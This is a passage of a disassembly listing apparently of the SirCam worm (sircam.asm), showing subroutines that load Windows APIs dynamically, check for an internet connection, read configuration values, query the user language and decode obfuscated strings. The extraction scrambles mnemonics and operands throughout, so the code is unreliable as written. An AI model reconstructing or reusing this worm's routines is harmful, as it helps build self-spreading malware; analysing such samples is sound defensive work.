pop
esi
sircam.asm
Fri Aug 10 12:42:44 2001
pop
mov
pop
retn
657
ebx
esp, ebp
ebp
8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_418DC8
proc near
var_4
= dword ptr -4
; CODE XREF: start+ABC\031p start+AF4\031p
push
mov
push
push
mov
mov
call
xor
push
push
push
mov
ebp
ebp, esp
ecx
ebx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_418E17
dword ptr fs:[eax]
fs:[eax], esp
mov
call
push
call
mov
push
call
test
jnz
xor
pop
pop
pop
mov
push
; CODE XREF: sub_418DC8+37\031j
eax, [ebp+var_4]
sub_4038E8
eax
j_GlobalFindAtomA
ebx, eax
ebx
j_GlobalDeleteAtom
bx, bx
short loc_418DE6
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_418E1E
loc_418DE6:
loc_418E0E:
sub_418DC8
; CODE XREF: CODE:00418E1C\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418E17:
; DATA XREF: sub_418DC8+13\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_418E0E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418E1E:
; DATA XREF: sub_418DC8+41\030o
pop
ebx
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_418E24
proc near
; CODE XREF: sub_41A7EC+D\031p
sircam.asm
var_9
var_8
var_4
Fri Aug 10 12:42:44 2001
= byte ptr -9
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
mov
call
mov
push
call
test
jz
push
call
mov
test
jz
mov
call
push
push
call
mov
cmp
jz
mov
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
esi, ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_418EAB
dword ptr fs:[eax]
fs:[eax], esp
[ebp+var_9], 0
eax, [ebp+var_4]
sub_4038E8
ebx, eax
ebx
j_LoadLibraryA
eax, eax
short loc_418E90
ebx
j_GetModuleHandleA_1
ebx, eax
ebx, ebx
short loc_418E90
eax, [ebp+var_8]
sub_4038E8
eax
ebx
j_GetProcAddress_0
[esi], eax
dword ptr [esi], 0
short loc_418E90
[ebp+var_9], 1
loc_418E90:
; CODE XREF: sub_418E24+44\030j
; sub_418E24+50\030j ...
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_418EB2
loc_418E9D:
sub_418E24
658
; CODE XREF: CODE:00418EB0\031j
lea
eax, [ebp+var_8]
mov
edx, 2
call
sub_4034EC
retn
endp ; sp = -28h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418EAB:
; DATA XREF: sub_418E24+23\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_418E9D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418EB2:
; DATA XREF: sub_418E24+74\030o
sircam.asm
Fri Aug 10 12:42:44 2001
659
mov
al, [ebp-9]
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_418EBC
proc near
var_14
var_10
var_C
var_8
var_1
=
=
=
=
=
; CODE XREF: sub_4190CC+95E\031p
; sub_4190CC+EA7\031p ...
byte ptr -14h
dword ptr -10h
dword ptr -0Ch
byte ptr -8
byte ptr -1
push
ebp
mov
ebp, esp
xor
ecx, ecx
push
ecx
push
ecx
push
ecx
push
ecx
push
ecx
push
ebx
mov
[ebp+var_1], al
xor
eax, eax
push
ebp
push
offset loc_418F7C
push
dword ptr fs:[eax]
mov
fs:[eax], esp
push
0
push
1
lea
eax, [ebp+var_10]
push
eax
xor
ecx, ecx
mov
edx, offset dword_418F94
mov
eax, ds:dword_41EEFC
call
sub_415EAC
mov
eax, [ebp+var_10]
mov
edx, offset dword_418FA0
call
sub_403834
jnz
short loc_418F5F
push
0
lea
eax, [ebp+var_8]
push
eax
call
j_InternetGetConnectedState
neg
eax
sbb
ebx, ebx
neg
ebx
test
bl, bl
jz
short loc_418F24
lea
eax, [ebp+var_C]
mov
edx, offset dword_418FAC
call
sub_403560
jmp
short loc_418F31
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418F24:
lea
mov
call
loc_418F31:
; CODE XREF: sub_418EBC+57\030j
eax, [ebp+var_C]
edx, offset dword_418FA0
sub_403560
; CODE XREF: sub_418EBC+66\030j
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
lea
push
mov
mov
mov
call
test
jz
cmp
jnz
660
1
1
eax, [ebp+var_14]
eax
ecx, [ebp+var_C]
edx, offset loc_418FB8
eax, ds:dword_41EEFC
sub_415EAC
bl, bl
short loc_418F55
[ebp+var_1], 0
short loc_418F59
loc_418F55:
; CODE XREF: sub_418EBC+91\030j
xor
eax, eax
jmp
short loc_418F5B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418F59:
; CODE XREF: sub_418EBC+97\030j
mov
al, 1
loc_418F5B:
; CODE XREF: sub_418EBC+9B\030j
mov
ebx, eax
jmp
short loc_418F61
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418F5F:
; CODE XREF: sub_418EBC+42\030j
xor
ebx, ebx
xor
pop
pop
pop
mov
push
; CODE XREF: sub_418EBC+A1\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_418F83
loc_418F61:
loc_418F6E:
sub_418EBC
; CODE XREF: CODE:00418F81\031j
lea
eax, [ebp+var_14]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -2Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418F7C:
; DATA XREF: sub_418EBC+11\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_418F6E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418F83:
; DATA XREF: sub_418EBC+AD\030o
mov
eax, ebx
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 3
dword_418F94
dd 394346h, 0FFFFFFFFh, 1 ; DATA XREF: sub_418EBC+26\030o
dword_418FA0
dd 30h, 0FFFFFFFFh, 1
; DATA XREF: sub_418EBC+38\030o
; sub_418EBC+6B\030o
dword_418FAC
dd 31h, 0FFFFFFFFh, 3
; DATA XREF: sub_418EBC+5C\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_418FB8:
; DATA XREF: sub_418EBC+80\030o
inc
inc
esi
esp
sircam.asm
Fri Aug 10 12:42:44 2001
xor
661
al, 0
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_418FBC
proc near
var_C
var_5
var_4
= dword ptr -0Ch
= byte ptr -5
= dword ptr -4
; CODE XREF: sub_4190CC+2A8\031p
push
mov
add
mov
mov
call
xor
push
push
push
mov
mov
mov
call
mov
xor
push
push
push
mov
mov
add
mov
call
mov
call
mov
cmp
jz
mov
call
ebp
ebp, esp
esp, 0FFFFFFF4h
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_419052
dword ptr fs:[eax]
fs:[eax], esp
dl, 1
eax, ds:off_412CB8
sub_412D28
[ebp+var_C], eax
eax, eax
ebp
offset loc_419035
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_C]
eax, 0Ch
edx, [ebp+var_4]
sub_40351C
eax, [ebp+var_C]
sub_412EA0
[ebp+var_5], al
[ebp+var_5], 0
short loc_41901F
eax, [ebp+var_C]
sub_412F7C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_418FBC+59\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_41903C
loc_41901F:
loc_41902C:
sub_418FBC
; CODE XREF: CODE:0041903A\031j
mov
eax, [ebp+var_C]
call
sub_402BDC
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419035:
; DATA XREF: sub_418FBC+31\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_41902C
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41903C:
; DATA XREF: sub_418FBC+6B\030o
xor
pop
pop
eax, eax
edx
ecx
sircam.asm
Fri Aug 10 12:42:44 2001
pop
mov
push
662
ecx
fs:[eax], edx
offset loc_419059
loc_419049:
; CODE XREF: CODE:00419057\031j
lea
eax, [ebp-4]
call
sub_4034C8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419052:
; DATA XREF: sub_418FBC+14\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_419049
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_419059:
; DATA XREF: CODE:00419044\030o
mov
al, [ebp-5]
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_419060
dd offset dword_419064 ; DATA XREF: sub_4190CC+1E2\031r
; sub_4190CC+353\031r ...
dword_419064
dd 322E0211h, 4
; DATA XREF: CODE:00419060\030o
dd offset off_401000
dd 48h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_419074
proc near
var_4
= dword ptr -4
push
mov
push
push
mov
mov
mov
call
push
lea
push
call
test
jz
mov
and
cmp
jnz
mov
mov
call
ebp
ebp, esp
ecx
ebx
ebx, eax
eax, ebx
edx, offset dword_4190BC
sub_40351C
0
eax, [ebp+var_4]
eax
j_InternetGetConnectedState
eax, eax
short loc_4190AD
eax, [ebp+var_4]
eax, 1
eax, 1
short loc_4190AD
eax, ebx
edx, offset dword_4190C8
sub_40351C
loc_4190AD:
sub_419074
; CODE XREF: sub_4190CC+69D\031p
; CODE XREF: sub_419074+20\030j
; sub_419074+2B\030j
pop
ebx
pop
ecx
pop
ebp
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_4190BC
dd 31h, 0FFFFFFFFh, 1
; DATA XREF: sub_419074+9\030o
sircam.asm
dword_4190C8
Fri Aug 10 12:42:44 2001
dd 33h
663
; DATA XREF: sub_419074+2F\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4190CC
proc near
var_298
var_294
var_290
var_28C
var_288
var_284
var_280
var_27C
var_278
var_274
var_270
var_26C
var_268
var_264
var_260
var_25C
var_258
var_254
var_250
var_24C
var_248
var_244
var_240
var_23C
var_238
var_138
var_134
var_130
var_12C
var_128
var_124
var_120
var_11C
var_118
var_114
var_110
var_10C
var_108
var_104
var_100
var_FC
var_F8
var_F4
var_F0
var_EC
var_E8
var_E4
var_E0
var_DC
var_D8
var_D4
var_D0
var_CC
var_C8
var_C4
var_C0
var_BC
var_B8
var_B4
var_B0
var_AC
var_A8
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
byte ptr -298h
byte ptr -294h
dword ptr -290h
byte ptr -28Ch
dword ptr -288h
byte ptr -284h
byte ptr -280h
dword ptr -27Ch
dword ptr -278h
byte ptr -274h
byte ptr -270h
dword ptr -26Ch
dword ptr -268h
dword ptr -264h
dword ptr -260h
dword ptr -25Ch
dword ptr -258h
dword ptr -254h
dword ptr -250h
dword ptr -24Ch
dword ptr -248h
byte ptr -244h
dword ptr -240h
dword ptr -23Ch
byte ptr -238h
dword ptr -138h
dword ptr -134h
dword ptr -130h
dword ptr -12Ch
dword ptr -128h
byte ptr -124h
byte ptr -120h
byte ptr -11Ch
dword ptr -118h
dword ptr -114h
dword ptr -110h
dword ptr -10Ch
dword ptr -108h
dword ptr -104h
dword ptr -100h
dword ptr -0FCh
dword ptr -0F8h
dword ptr -0F4h
dword ptr -0F0h
dword ptr -0ECh
dword ptr -0E8h
byte ptr -0E4h
byte ptr -0E0h
byte ptr -0DCh
byte ptr -0D8h
dword ptr -0D4h
byte ptr -0D0h
byte ptr -0CCh
dword ptr -0C8h
dword ptr -0C4h
dword ptr -0C0h
dword ptr -0BCh
dword ptr -0B8h
dword ptr -0B4h
dword ptr -0B0h
dword ptr -0ACh
dword ptr -0A8h
; CODE XREF: sub_41A5E4+F6\031p
sircam.asm
var_A4
var_A0
var_99
var_98
var_97
var_84
var_80
var_79
var_78
var_74
var_70
var_6C
var_68
var_64
var_60
var_5C
var_58
var_54
var_50
var_4C
var_48
var_44
var_40
var_3C
var_38
var_34
var_30
var_2C
var_28
var_24
var_20
var_1C
var_18
var_14
var_10
var_C
var_8
var_4
Fri Aug 10 12:42:44 2001
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
664
dword ptr -0A4h
dword ptr -0A0h
byte ptr -99h
byte ptr -98h
byte ptr -97h
dword ptr -84h
dword ptr -80h
byte ptr -79h
dword ptr -78h
dword ptr -74h
dword ptr -70h
dword ptr -6Ch
dword ptr -68h
dword ptr -64h
dword ptr -60h
dword ptr -5Ch
dword ptr -58h
dword ptr -54h
dword ptr -50h
dword ptr -4Ch
dword ptr -48h
dword ptr -44h
dword ptr -40h
dword ptr -3Ch
dword ptr -38h
dword ptr -34h
dword ptr -30h
dword ptr -2Ch
dword ptr -28h
dword ptr -24h
dword ptr -20h
dword ptr -1Ch
dword ptr -18h
dword ptr -14h
dword ptr -10h
dword ptr -0Ch
dword ptr -8
dword ptr -4
push
mov
mov
ebp
ebp, esp
ecx, 53h
push
push
dec
jnz
push
xor
push
push
push
mov
mov
mov
call
mov
mov
mov
call
mov
mov
mov
call
mov
mov
xor
mov
lea
; CODE XREF: sub_4190CC+D\031j
0
0
ecx
short loc_4190D4
ebx
eax, eax
ebp
offset loc_41A017
dword ptr fs:[eax]
fs:[eax], esp
dl, 1
eax, ds:off_40BB68
sub_402BAC
ds:dword_41EF14, eax
dl, 1
eax, ds:off_40BB68
sub_402BAC
[ebp+var_74], eax
dl, 1
eax, ds:off_40BB68
sub_402BAC
[ebp+var_78], eax
bl, 1
eax, eax
[ebp+var_6C], eax
ecx, [ebp+var_A0]
loc_4190D4:
sircam.asm
Fri Aug 10 12:42:44 2001
665
xor
edx, edx
mov
eax, offset aJqcjksgcpXeqdb ; "\206\237\227¦ª\221£\227\217}\232
\225¥\237¤¡\231¤\215{¡¤\226¤¡\225¥Rt\223\224¡¨\236¥R\200\221\237"...
call
sub_415FAC
mov
edx, [ebp+var_A0]
mov
eax, offset dword_41EEF4
call
sub_40351C
push
0
push
0
lea
eax, [ebp+var_4]
push
eax
lea
ecx, [ebp+var_A4]
xor
edx, edx
mov
eax, offset dword_41A064
call
sub_415FAC
mov
edx, [ebp+var_A4]
xor
ecx, ecx
mov
eax, ds:dword_41EEF4
call
sub_415EAC
cmp
[ebp+var_4], 0
jz
loc_41922B
push
ds:dword_41EEF4
lea
ecx, [ebp+var_A8]
xor
edx, edx
mov
eax, offset dword_41A084
call
sub_415FAC
push
[ebp+var_A8]
push
[ebp+var_4]
push
offset dword_41A098
lea
eax, [ebp+var_4]
mov
edx, 4
call
sub_4037E4
push
0
push
0
lea
eax, [ebp+var_8]
push
eax
lea
ecx, [ebp+var_AC]
xor
edx, edx
mov
eax, offset aLckh9Dyvv7yZiM ; "lckh9[\204y\202\2027Y}z\211}\214
\211"
call
sub_415FAC
mov
edx, [ebp+var_AC]
xor
ecx, ecx
mov
eax, [ebp+var_4]
call
sub_415EAC
push
0
push
0
lea
eax, [ebp+var_C]
push
eax
lea
ecx, [ebp+var_B0]
xor
edx, edx
mov
eax, offset dword_41A0C0
call
sub_415FAC
mov
edx, [ebp+var_B0]
xor
ecx, ecx
mov
eax, [ebp+var_4]
call
sub_415EAC
push
0
push
0
lea
eax, [ebp+var_10]
push
eax
lea
ecx, [ebp+var_B4]
xor
edx, edx
mov
eax, offset dword_41A0D4
call
sub_415FAC
mov
edx, [ebp+var_B4]
xor
ecx, ecx
mov
eax, [ebp+var_4]
call
sub_415EAC
jmp
short loc_419272
sircam.asm
Fri Aug 10 12:42:44 2001
666
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41922B:
lea
xor
mov
call
lea
mov
call
push
push
push
lea
mov
call
lea
mov
call
; CODE XREF: sub_4190CC+A6\030j
ecx, [ebp+var_C]
edx, edx
eax, offset dword_41A0F0
sub_415FAC
edx, [ebp+var_B8]
eax, 5
sub_41609C
[ebp+var_B8]
offset dword_41A108
[ebp+var_C]
eax, [ebp+var_8]
edx, 3
sub_4037E4
edx, [ebp+var_10]
eax, 5
sub_41609C
push
push
lea
push
xor
mov
mov
call
push
push
lea
push
xor
mov
mov
call
push
lea
mov
mov
call
add
mov
add
mov
call
push
push
lea
push
xor
mov
mov
call
mov
mov
add
call
lea
xor
mov
call
mov
mov
add
call
lea
xor
mov
; CODE XREF: sub_4190CC+15D\030j
0
1
eax, [ebp+var_30]
eax
ecx, ecx
edx, offset aFb1bb_0 ; "FB1BB"
eax, ds:dword_41EEFC
sub_415EAC
0
1
eax, [ebp+var_34]
eax
ecx, ecx
edx, offset aFb1bc ; "FB1BC"
eax, ds:dword_41EEFC
sub_415EAC
6
eax, [ebp+var_40]
ecx, 1
edx, ds:off_419060
sub_4045A0
esp, 4
eax, [ebp+var_40]
eax, 4
edx, [ebp+var_C]
sub_40351C
0
1
eax, [ebp+var_BC]
eax
ecx, ecx
edx, offset aFb1ba_0 ; "FB1BA"
eax, ds:dword_41EEFC
sub_415EAC
edx, [ebp+var_BC]
eax, [ebp+var_40]
eax, 8
sub_40351C
ecx, [ebp+var_C0]
edx, edx
eax, offset dword_41A144
sub_415FAC
edx, [ebp+var_C0]
eax, [ebp+var_40]
eax, 14h
sub_40351C
ecx, [ebp+var_C4]
edx, edx
eax, offset dword_41A158
loc_419272:
sircam.asm
Fri Aug 10 12:42:44 2001
667
call
mov
mov
add
call
lea
xor
mov
sub_415FAC
edx, [ebp+var_C4]
eax, [ebp+var_40]
eax, 10h
sub_40351C
ecx, [ebp+var_C8]
edx, edx
eax, offset aDxgXvaAdzzvddr ; "|\204x\203}x\202\200{\200Dz\207
call
mov
mov
add
call
mov
mov
sub_415FAC
edx, [ebp+var_C8]
eax, [ebp+var_40]
eax, 0Ch
sub_40351C
[ebp+var_60], 1
[ebp+var_79], 0
mov
mov
mov
call
test
jz
mov
lea
mov
mov
mov
call
mov
; CODE XREF: sub_4190CC+2D4\031j
eax, [ebp+var_40]
edx, [ebp+var_60]
eax, [eax+edx*4]
sub_418FBC
al, al
short loc_419399
[ebp+var_79], 1
eax, [ebp+var_C]
edx, [ebp+var_40]
ecx, [ebp+var_60]
edx, [edx+ecx*4]
sub_403560
[ebp+var_60], 5
\202D\204\220"
loc_41936B:
loc_419399:
; CODE XREF: sub_4190CC+2AF\030j
inc
[ebp+var_60]
cmp
[ebp+var_60], 5
jle
short loc_41936B
push
1
push
1
lea
eax, [ebp+var_CC]
push
eax
mov
ecx, [ebp+var_C]
mov
edx, offset dword_41A188
mov
eax, ds:dword_41EEFC
call
sub_415EAC
cmp
[ebp+var_79], 0
jz
short loc_4193D4
lea
eax, [ebp+var_2C]
mov
edx, offset dword_41A194
call
sub_403560
jmp
short loc_4193E1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4193D4:
lea
mov
call
; CODE XREF: sub_4190CC+2F7\030j
eax, [ebp+var_2C]
edx, offset dword_41A1A0
sub_403560
push
push
lea
push
mov
mov
mov
call
push
lea
push
call
; CODE XREF: sub_4190CC+306\030j
1
1
eax, [ebp+var_D0]
eax
ecx, [ebp+var_2C]
edx, offset dword_41A1AC
eax, ds:dword_41EEFC
sub_415EAC
14h
eax, [ebp+var_99]
eax
j_GetUserDefaultLangID
loc_4193E1:
sircam.asm
Fri Aug 10 12:42:44 2001
movzx
push
call
push
lea
mov
mov
call
add
lea
mov
mov
mov
lea
lea
call
lea
mov
mov
mov
lea
lea
mov
call
lea
lea
call
lea
mov
mov
mov
lea
lea
mov
call
lea
lea
call
mov
push
lea
xor
mov
call
mov
pop
call
jnz
lea
xor
mov
668
eax, ax
eax
j_VerLanguageNameA
5
eax, [ebp+var_38]
ecx, 1
edx, ds:off_419060
sub_4045A0
esp, 4
eax, [ebp+var_D8]
dl, [ebp+var_99]
[eax+1], dl
byte ptr [eax], 1
edx, [ebp+var_D8]
eax, [ebp+var_DC]
sub_402848
eax, [ebp+var_E0]
dl, [ebp+var_98]
[eax+1], dl
byte ptr [eax], 1
edx, [ebp+var_E0]
eax, [ebp+var_DC]
cl, 2
sub_402818
edx, [ebp+var_DC]
eax, [ebp+var_E4]
sub_402848
eax, [ebp+var_E0]
dl, [ebp+var_97]
[eax+1], dl
byte ptr [eax], 1
edx, [ebp+var_E0]
eax, [ebp+var_E4]
cl, 3
sub_402818
edx, [ebp+var_E4]
eax, [ebp+var_D4]
sub_4036EC
eax, [ebp+var_D4]
eax
ecx, [ebp+var_E8]
edx, edx
eax, offset dword_41A1B8
sub_415FAC
edx, [ebp+var_E8]
eax
sub_403834
loc_419596
ecx, [ebp+var_14]
edx, edx
eax, offset aDvx8xedz5Kmvi7 ; "‘\204\202x8x\205\204\2075{\212\214
v\2117W"
call
sub_415FAC
lea
ecx, [ebp+var_18]
xor
edx, edx
mov
eax, offset aOnt@cgmpfPtrmu ; "o\215\222@\227\203\214\217\224>
\217\222\220\214\223\217M>\206\222\202\201\210\201\224L"
call
sub_415FAC
lea
